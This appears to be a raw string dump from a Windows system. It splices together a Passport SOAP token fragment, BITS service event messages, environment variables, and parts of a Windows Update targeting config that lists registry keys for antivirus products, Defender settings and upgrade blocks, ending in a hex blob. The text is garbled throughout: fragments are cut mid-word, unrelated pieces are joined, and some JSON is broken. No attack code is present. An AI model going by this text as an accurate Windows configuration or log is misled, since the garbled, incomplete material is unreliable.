S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd /s:Body></s:Envelope>g/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData></wsse:BinarySecurityToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-24T08:04:31Z</wsu:Created><wsu:Expires>2026-02-24T08:09:31Z</wsu:Expires></wsu:Timestamp><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><Canonica /0+0nvk http://schemas.microsoft.com/Passport/SoapServices/PPCRL MaFWpA2i Jp9wM23 eVValJYd3aTLd3o/ReZ6fdfzBEpY7BhvaWJ2sXlC9emaUaQ60UboRBk1SbHBqb/XD4MVJV4QeERiK2EKmHr1dPIUm3EewiePHgTkj/o1BtMP0nIjSE4IoEVgXCpq7LMSzpqBfxgiwqdItGyVKcGRjIFh/jOE5Oji+o/zpXhW4Es6nfmUYREJtgi+rYmW0ZdFsL4PIj9oAjubzTa8ZLmBVv8jsBuGGP6mLXjNYU= 18913CE15141B399CoCreate The job was paused due to system resource constraints. The job will automatically resume once system conditions change. The requested action is not supported by jobs configured with a custom HTTP method. The current job configuration is not compatible with the requested action. The remote file was changed during the transfer. If this is expected, call Resume on the job to initiate a retry. The job is configured to raise a certificate validation callback, but the callback object is not currently available. The job owner must provide a new callback object and then resume the job. This method should only be called when the job is in a paused state (SUSPENDED/ERROR/TRANSFERRED). The error occurred while the user-provided server certificate validation callback was being processed. Microsoft-Windows-Bits-Client System Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client/Analytic BITS job "%2" with ID %1 has been resumed. BITS job "%2" with ID %1 has been suspended. The BITS service created a new job: %1, with owner %2 The transfer job is complete.%nUser: %1%nTransfer job: %2%nJob ID: %3%nOwner: %4%nFile count: %5 Job cancelled. User: %1, job: %2, jobID: %3, owner: %4, filecount: %5 Command-line command set for job %1 with owner %2. Program: %3 Args: %4. BITS started listening for peer-client requests. BITS was not able to listen for peer-client requests. The error code was %1. BITS jobs from other machines will not be able to use this machine as a peer server. To fix this problem, try stopping the BITS service and restarting it. BITS stopped listening for peer-client requests. BITS started listening for peer-server announcements. BITS was not able to listen for peer-server announcements. The error code was %1. BITS jobs on this machine will not be able to use peer-caching. To fix this problem, try stopping the BITS service and restarting it. BITS stopped listening for peer-server announcements. ransfer of %2. The service failed to launch the program with error %4, BITS will continue trying to launch the program periodically until it succeeds. BITS received a peer-cache request from a client at address %1. The client's search request is for "%1" with timestamp %2. The cache found a matching cache record with ID %1. While processing the client's request, BITS encountered error %1. BITS rejected the client's request with HTTP status %1. BITS has finished processing the client request. The request includes the client's event-log activity ID. BITS search for peer-servers has started. BITS has encountered %1 error while reading the peer-cache information. BITS will now attempt to delete and re-create the peer-cache. BITS has successfully deleted the peer-cache. All the files cached until this point have been removed. The peer-cache will be re-created again as needed for handling the future requests. BITS has successfully enabled peer-client and/or peer-server related components. BITS has encountered %1 error while starting one or more peer-client or peer-server components. BITS accessed group policy value %1 : %2. BITS defaulted group policy value %1 : %2. The peer's response to a search was invalid. The file ranges associated with a transfer attempt While transferring %1, BITS encountered error %2 using %3 as the HTTP proxy server. This may indicate a problem with the proxy server or with the client's network configuration. If this error occurs frequently, then an administrator should investigate. Details: {Job: %4}, {owner: %5}, {jobid: %6}, {URL: %1}, {xferId: %7}, {proxyServerList: %8}, {hr: %2}. The BITS job named "%1" was unable to contact any HTTP proxy server in its proxy list. This may indicate a problem with the proxy servers or with the client's network configuration. An administrator should verify whether the proxy list is correct. BITS will periodically try to transfer the job. The HTTP proxy list is "%6". Th ",\n \"IfExists\": true\n },\n \"AvastInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Avast Software\\\\Avast\",\n \"IfExists\": true\n },\n \"AvastReg\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\aswVmm\\\\Parameters\",\n \"ValueName\": \"QualityCompat\"\n },\n \"AvgBlackScreen\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\avgVmm\\\\Parameters\",\n \"ValueName\": \"Win10-1803\"\n },\n \"AVGInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\AVG\\\\Antivirus\",\n \"IfExists\": true\n },\n \"AVGInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\AVG\\\\Antivirus\",\n \"IfExists\": true\n },\n \"AvgReg\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\avgVmm\\\\Parameters\",\n \"ValueName\": \"QualityCompat\"\n },\n \"AviraInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\X-AVCSD\\\\Workstation\\\\Antivirus\",\n \"IfExists\": true\n },\n \"AviraInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\X-AVCSD\\\\Workstation\\\\Antivirus\",\n \"IfExists\": true\n },\n \"BaseBoardManufacturer\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\",\n \"ValueName\": \"BaseBoardManufacturer\"\n },\n \"BitDefenderInstalledKey\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{1FCCF41D-5F00-4FE2-9653-162D0486C8B4}\",\n \"IfExists\": true\n },\n \"BlockEdgeWithChromiumUpdate\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\EdgeUpdate\",\n \"ValueName\": \"DoNotUpdateToEdgeWithChromium\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"BlockFeatureUpdates\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WindowsUpdate\\\\OSUpgrade\",\n \"ValueName\": \"BlockFeatureUpdates\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"BlockWUUpgrades\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows10Upgrader\\\\Volatile\",\n \"ValueName\": \"BlockWUUpgrades\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"BlockWUUpgradesWow\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows10Upgrader\\\\Volatile\",\n \"ValueName\": \"BlockWUUpgrades\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"BroadcomInstalledKey\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Symantec\\\\Symantec Endpoint Protection\",\n \"IfExists\": true\n },\n \"BuildFID\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Flighting\\\\Build\",\n \"ValueName\": \"EsdFlightData\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"BuildFID_WCOS\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"OSDATA\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Flighting\\\\Build\",\n \"ValueName\": \"EsdFlightData\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"BuildFID_WCOS2\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"OSDATA\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Flighting\\\\Build\",\n \"ValueName\": \"EsdFlightData\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"BullguardInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\BullGuard\",\n \"IfExists\": true\n },\n \"BypassNRO\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBE\",\n \"ValueName\": \"BypassNRO\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"ChargeCapacityRatio\": {\n \"HKey\": \"HKEY_CURRENT_USER\",\n \"Fu eName\": \Device\HarddiskVolume3\ RSPROFILE=C:\ProgramData CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=InteDeletePending": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DriverDelete" }, "DchuNvidiaGrfxExists": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "IfExists": true }, "DchuNvidiaGrfxVen": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DCHUVen" }, "DchuNvidiaGrfxVen2": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm\\Parameters", "ValueName": "DCHUVen" }, "DchuNvidiaGrfxVenTest": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DCHUVenTest", "RegValueType": "REG_DWORD" }, "DefaultUserRegion": { "HKey": "HKEY_USERS", "FullPath": ".DEFAULT\\Control Panel\\International\\Geo", "ValueName": "Nation", "RegValueType": "REG_SZ" }, "DefenderCampRing": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\MpEngine", "ValueName": "MpCampRing", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiSpyware": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender", "ValueName": "DisableAntiSpyware", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiSpywarePolicies": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Policies\\Microsoft\\Windows Defender", "ValueName": "DisableAntiSpyware", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiVirus": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender", "ValueName": "DisableAntiVirus", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiVirusPolicies": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Policies\\Microsoft\\Windows Defender", "ValueName": "DisableAntiVirus", "RegValueType": "REG_DWORD" }, "DefenderEngineRing": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\MpEngine", "ValueName": "MpEngineRing", "RegValueType": "REG_DWORD" }, "DefenderFilterExists": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\WdFilter", "IfExists": true }, "DefenderServiceExists": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\WinDefend", "IfExists": true }, "DefenderSharedSignatureRootExists": { "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", "ValueName": "SharedSignatureRoot", "IfExists": true }, "DefenderSharedSignatureRootExistsPolicies": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Signature Updates", "ValueName": "SharedSignatureRoot", "IfExists": true }, "DefenderSignatureRing": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\MpEngine", "ValueName": "MpSignatureRing", "RegValueType": "REG_DWORD" }, "DefenderSignatureUpdatePending": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", "ValueName": "SignatureUpdatePending", "RegValueType": "REG_DWORD" }, "DefenderStarted": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\WinDefend", "ValueName": "Start", "RegValueType": "REG_DWORD" }, "DefenderUUPFlags": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender", "ValueName": "UUPFlags", "RegValueType": "REG_DWORD" }, "DeviceInfoGatherSuccessful": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Component Based Servicing", "ValueName": "DeviceInfoGatherSuccessful", "RegValueType": "REG_DWORD" }, "DisableWUfBOfferBlock": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\WindowsUpdate\\UpdatePolicy\\Settings", "ValueName": "DisableWUfBOfferBlock", "RegValueType": "REG_DWORD" }, "DisconnectedStandby": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Control\\Power", "ValueName": "EnforceDisconnectedStandby", "RegValueType": "REG_DWORD" }, "DotNetMissingComponentsTroubleshooterSuccess": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\.NETFramework", "ValueName": "DotNetMissingComponentsTroubleshooterSuccess", "RegValueType": "REG_DWORD" }, "DriverPartnerRing": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\DriverFlighting\\Partner", "ValueName": "TargetRing", "RegValueType": "REG_SZ" }, "DSS_Enrolled_DF": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate", "ValueName": "WUfBDF", "RegValueType": "REG_DWORD" }, "DSS_Enrolled_State": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\WufbDS", "ValueName": "enrollmenttype", "RegValueType": "REG_SZ" }, "DUInternal": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\Setup\\MoSetup", "ValueName": "DynamicUpdateInternalTest", "RegValueType": "REG_DWORD" }, "DurableDeviceRegionGeo": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\DeviceRegion", "ValueName": "DeviceRegion", "RegValueType": "REG_DWORD" }, "EasyAntiEoS_Installed": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\EasyAntiCheat_EOS", "ValueName": "DisplayName", "RegValueType": "REG_SZ", "IfExists": true }, "EdgeStableOPV_Native": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\EdgeUpdate\\Clients\\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}", "ValueName": "opv", "RegValueType": "REG_SZ" }, "EdgeStablePV_Native": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\EdgeUpdate\\Clients\\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}", "ValueName": "pv", "RegValueType": "REG_SZ" }, "EdgeStablePV_WOW6432": { "FullPath": "SOFTWARE\\Wow6432Node\\Microsoft\\EdgeUpdate\\Clients\\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}", "ValueName": "pv", "RegValueType": "REG_SZ" }, "EdgeStableVersion": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Wow6432Node\\Microsoft\\EdgeUpdate\\Clients\\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}", "ValueName": "opv", "RegValueType": "REG_SZ" }, "EdgeWithChromiumInstallFailureCount": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\EdgeUpdate", "ValueName": "WindowsUpdateAttempts" }, "EdgeWithChromiumInstallFailureCountWow": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Wow6432Node\\Microsoft\\EdgeUpdate", "ValueName": "WindowsUpdateAttemp " ": "HKEY_LP MicrosofP alueName": "@ owsUpdateVersion" }, "EdgeWithChromiumInstallVersionWow": { "HKey": "HKEY_ \Wow6432Node\\Mi eUpd " "r:DurableDeviceRegionGeo", "DSS_Enrolled": "r:DSS_Enrolled_State", "EdgeStableVersion": "r:EdgeStableVersion", "expId": "c:FlightIds", "FlightRing": "f:FlightRing", "FX_FlightIds": "c:FlightIds", "iepe": "g:IsCampaignEdgePromotionEnabled", "iste": "g:IsCampaignSegmentTargetingEnabled", "IsVM": "a:ISVM", "IX_FlightIds": "c:FlightIds", "locale": "c:OSUILocale", "ms": "t:IsMsftOwned", "MX_FlightIds": "c:FlightIds", "OEMModel": "c:OEMModelNumber", "oemname": "r:SystemManufacturer", "OEMName_Uncleaned": "c:OEMManufacturerName", "osVer": "t:OSVersionFull", "OSVersionFull": "t:OSVersionFull", "PhoneTargetingName": "c:OEMModelName", "prccn": "c:ProcessorCores", "prccs": "c:ProcessorClockSpeed", "prcmf": "c:ProcessorManufacturer", "procm": "c:ProcessorModel", "ram": "c:TotalPhysicalRAM", "ring": "f:FlightRing", "sampleId": "t:PopVal", "sc": "r:SuggestedContentSettingsEnabled", "sku": "t:OSSkuId", "smbiosdm": "r:SystemProductName", "TimestampDelta_19H1Subtract19H1Setup": "a:TimestampEpochString_19H1_Subtract_TimestampEpochString_19H1Setup", "TimestampDelta_20H1Subtract20H1Setup": "a:TimestampEpochString_20H1_Subtract_TimestampEpochString_20H1Setup", "TimestampDelta_21H1Subtract20H1Setup": "a:TimestampEpochString_21H1_Subtract_TimestampEpochString_20H1Setup", "TimestampDelta_CO21H2SubtractCO21H2Setup": "a:TimestampEpochString_CO21H2_Subtract_TimestampEpochString_CO21H2Setup", "TimestampDelta_GE24H2SubtractGE24H2Setup": "a:TimestampEpochString_GE24H2_Subtract_TimestampEpochString_GE24H2Setup", "TimestampDelta_NI22H2SubtractNI22H2Setup": "a:TimestampEpochString_NI22H2_Subtract_TimestampEpochString_NI22H2Setup", "TimestampDelta_NI23H2SubtractNI22H2Setup": "a:TimestampEpochString_NI23H2_Subtract_TimestampEpochString_NI22H2Setup", "W10ESU": "r:Win10ConsumerESUStatus", "WidgetsAppVer": "q:WidgetsAppVer" }, "Fallback": { "r:AhnlabInstalledKey": "r:AhnlabInstalledWowKey", "r:AvastBlackScreen": "r:AvgBlackScreen", "r:AvastInstalledKey": "r:AvastInstalledWowKey", "r:AVGInstalledKey": "r:AVGInstalledWowKey", "r:AviraInstalledKey": "r:AviraInstalledWowKey", "a:Bios": "a:Bios_RS3", "a:Bios_RS3": "a:Bios_RS4", "a:Bios_RS4": "a:Bios_RS5", "r:BlockFeatureUpdates": "r:BlockWUUpgrades", "r:BlockWUUpgrades": "r:BlockWUUpgradesWow", "r:BuildFID": "r:BuildFID_WCOS", "r:BuildFID_WCOS": "r:BuildFID_WCOS2", "r:BullguardInstalledKey": "v:BullguardInstalledVer", "a:DataExpDateEpoch_CO21H2": "r:DataExpDateEpoch_CO21H2RegFb", "r:DchuAmdGrfxVen": "r:DchuAmdGrfxVen2", "r:DchuAmdGrfxVen2": "r:DchuAmdGrfxDeletePending", "r:DchuIntelGrfxDeletePending": "r:DchuIntelGrfxNExists", "r:DchuIntelGrfxVen": "r:DchuIntelGrfxVen2", "r:DchuIntelGrfxVen2": "r:DchuIntelGrfxDeletePending", "r:DchuNvidiaGrfxVen": "r:DchuNvidiaGrfxVen2", "r:DchuNvidiaGrfxVen2": "r:DchuNvidiaGrfxDeletePending", "DL_OSVersion": "OSVersion", "r:DriverPartnerRing": "r:OSDataDriverPartnerRing", "r:EdgeStableOPV_Native": "r:EdgeStablePV_Native", "r:EdgeStablePV_WOW6432": "r:EdgeStableOPV_Native", "r:EdgeStableVersion": "r:EdgeStablePV_WOW6432", "r:EdgeWithChromiumInstallFailureCount": "r:EdgeWithChromiumInstallFailureCountWow", "r:EdgeWithChromiumInstallVersion": "r:EdgeWithChromiumInstallVersionWow", "u:EnableWUfBUpgradeGates": "r:EnableWUfBUpgradeGatesRS5", "r:ESETInstalledKey": "r:ESETInstalledWowKey", "r:ESTSecurityInstalledKey": "r:ESTSecurityInstalledWowKey", "f:FlightingBranchName": "c:FlightingBranchName", "a:Free": "a:Free_RS3", "a:Free_RS3": "a:Free_RS4", "a:Free_RS4": "a:Free_RS5", "r:FSecureInstalledKey": "r:FSecureInstalledWowKey", "a:GatedFeature_NI22H2": "r:Migrated_GatedFeature_NI22H2Setup", "a:GStatus_CO21H2": "r:GStatus_CO21H2RegFb", "HoloLens": "r:WindowsMixedReality", "r:IsEdgeWithChromiumInstalled": "r:IsEdgeWithChromiumInstalledWow", "a:ISVM": "a:ISVM_RS3", "a:ISVM_RS3": "a:ISVM_RS4", "a:ISVM_RS4": "a:ISVM_RS5", "r:K7InstalledKey": "r:K7InstalledWowKey", "r:KasperskyInstalledKey": "r:KasperskyInstalledWowKey", "r:KingsoftInstalledKey": "r:KingsoftInstalledWowKey", "r:LenovoInstalledKey": "r:LenovoInstalledWowKey", "r:MalwarebytesInstalledKey": "r:MalwarebytesInstalledWowKey", "r:McAfeeInstalledKey": "r:McAfeeInstalledWowKey", "r:Migrated_GatedFeature_NI22H2Setup": "r:Migrated_GatedFeature_NI22H2", "c:OEMModelBaseBoard": "r:OEMModelBaseBoard", "r:PandaInstalledKey": "r:PandaInstalledWowKey", "r:PandaInstalledWowKey": "v:PandaInstalledVer", "r:PonchAllow": "r:PonchAllowKey", "r:PonchAllowKey": "r:PonchAllowWow", "r:PonchAllowWow": "r:PonchAllowWowKey", "r:QUDeadline": "r:QUDeadlineMDM", "r:QuickhealInstalledKey1": "r:QuickhealInstalledKey2", "r:SophosInstalledKey1": "r:SophosInstalledKey2", "r:SuggestedContentSettingsEnabled": "r:AlwaysTrue", "r:SymantecInstalledKey": "r:SymantecInstalledWowKey", "v:SymantecVer": "v:SymantecVer64", "u:TargetReleaseVersion": "r:TargetReleaseVersionGP", "r:TargetReleaseVersionGP": "r:TargetReleaseVersionMDM", "r:TencentInstalledKey": "r:TencentInstalledWowKey", "r:ThreatTrackInstalledKey": "r:ThreatTrackInstalledWowKey", "a:TimestampEpochString_CO21H2": "r:TimestampEpochString_CO21H2RegFb", "v:TobiiVer": "v:TobiiVerx86", "v:TobiiVerx86": "v:TobiiVer1x86", "r:TrendInstalledKey": "r:TrendInstalledWowKey", "r:TrendInstalledWowKey": "v:TrendInstalledVer", "a:UpgEx_CO21H2": "r:UpgEx_CO21H2RegFb", "r:UpgradeAccepted": "r:Win11UpgradeAcceptedWUSeeker", "r:WebExperience": "r:WebExperienceWow", "r:WebrootInstalledKey": "r:WebrootInstalledWowKey" }, "Transform": { "AccountFirstChar": { "SubLength": 1 }, "CX_FlightIds": { "Regex": "CX:[^,]*", "RegexDelimiter": "," }, "expId": { "SubStart": -5000, "SubLength": 5000 }, "FlightingOptOutState": { "Ignore": [ "0" ] }, "FX_FlightIds": { "SubStart": -5000, "SubLength": 5000, "Regex": "FX:[^,]*", "RegexDelimiter": "," }, "IppPrinterBadDefaultPdc": { "Contains": "V4_No_ChangeID_Present" }, "aipc": { "Ignore": [ "0" ] }, "IsDomainJoined": { "Ignore": [ "0" ] }, "IsHybridOrXGpu": { "Ignore": [ "0" ] }, "IsMsftOwned": { "Ignore": [ "0" ] }, "IsPortableOperatingSystem": { "Ignore": [ "0" ] }, "IsRemoteDesktopSessionHost": { "Contains": "ServerRdsh" }, "IsTestLab": { "Ignore": [ "0" ] }, "IsVM": { "Ignore": [ "0" ] }, "IX_FlightIds": { "Regex": "IX:[^,]*", "RegexDelimiter": "," }, tus" TAXPrintCenter }, "SMode": { "Ignore": [ "0" ] ength": kd2k ACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\",\n \"ValueName\": \"NonSecurityRelease\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"NPU_DeviceId\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\{f01a9d53-3ff6-48d2-9f97-c8a7004be10c}\\\\0000\",\n \"ValueName\": \"MatchingDeviceId\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"NPU_DriverVersion\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\{f01a9d53-3ff6-48d2-9f97-c8a7004be10c}\\\\0000\",\n \"ValueName\": \"DriverVersion\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"NPUEnabledDevice\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows Media Foundation\\\\FrameServer\\\\WindowsCameraEffects\",\n \"ValueName\": \"EffectsCameraAvailable\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"OEMMode\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Common\\\\OEM\",\n \"ValueName\": \"OOBEMode\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OEMModelBaseBoard\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\",\n \"ValueName\": \"BaseBoardProduct\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OemPartnerRing\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\Platform\\\\DeviceTargetingInfo\",\n \"ValueName\": \"TargetRing\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OEMSubModel\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\",\n \"ValueName\": \"SystemSKU\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OobeNdupAcceptedTarget\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\ on", "c:OEMModelBaseBoard", "OSArchitecture", "c:Firmw 80B886248ECB2431308B1F7215C4EF5876AD764118FEA3730B71325C43F7374AF11914EDFC5119AEFA6D0CF274BF0D69339406DA10D4D38AECEC9D72E991AE8016D47EBFF678B7F023D8C8CFA8F7982FBF099FD3A683056A1D0C00BDFFB31E9F4A1A4853623D6431DEA186B729A024B84747BA6151C3260BB0F5D3DC445D10EE5B65E856FE652AE43F7B508479C74773DC7FA48E1C82D8499ABB68EFEE5165CB87BB72C2C454F4BB436133F550B9948FDDADB97A1BB097E4093EDDEA699A0364A5FD106BE20242E9CD9CD5BA5EE1F520DF9C7FE1C87A66B34481510EDAD88D60D6FF61A18FD369BA95C7928D6CD5A8C1B66B5A4AFB85CC6A61C5EF7ED8CAE460F73FD5FE8693E69DBB2264B7B0AD51EA9F3A888B9374CC4E7CCEC8C45B0EA13FD133E6063F9F3DECD867D4581326F856B8CEF9D29E67130EC8D6B315E174681E9FC7FFEB174420DA9928A8298F17DBC12D6C35DBABD7CA5932469A563173146C22B88903149B53663E51E52C30EAA42A763C206F4CF954AB41065A2EDFDF68AD88D9655183ED2585D8AE728B3B03EC186D57F712EAAB5B114D12C2391CB09951CB3C05507E6B6D12FDB4C6A2A98F16A4DED9E27DD7ECF00D3B2B5B2953F9734357EFA62CFD230935B512A2CBE4B75D3AA1471DD6A7E809BD80BA1BEE6EFA02D7B01551E40295AF604813BFB1CFA8C5581EEE91DD23DDCF207F2CCD6E29549EE51920A729924DF49A7F690680FD826958C93267B2835E540544979A506A7B9D7BE9A5D20929234ED084E3B5F5D1D87DAF71522AE2A2B40469AE39E662D42FB1275E9ED45545678CE1844ED3F557BA567E3C767A6C91CAB098562CBDEA8F0D80C8DA6146375233D502586D9F6E29339253A9AD8ED568894647F85E4832D8E92B7BBF94466A4CCD6D01C029B4F8A6E4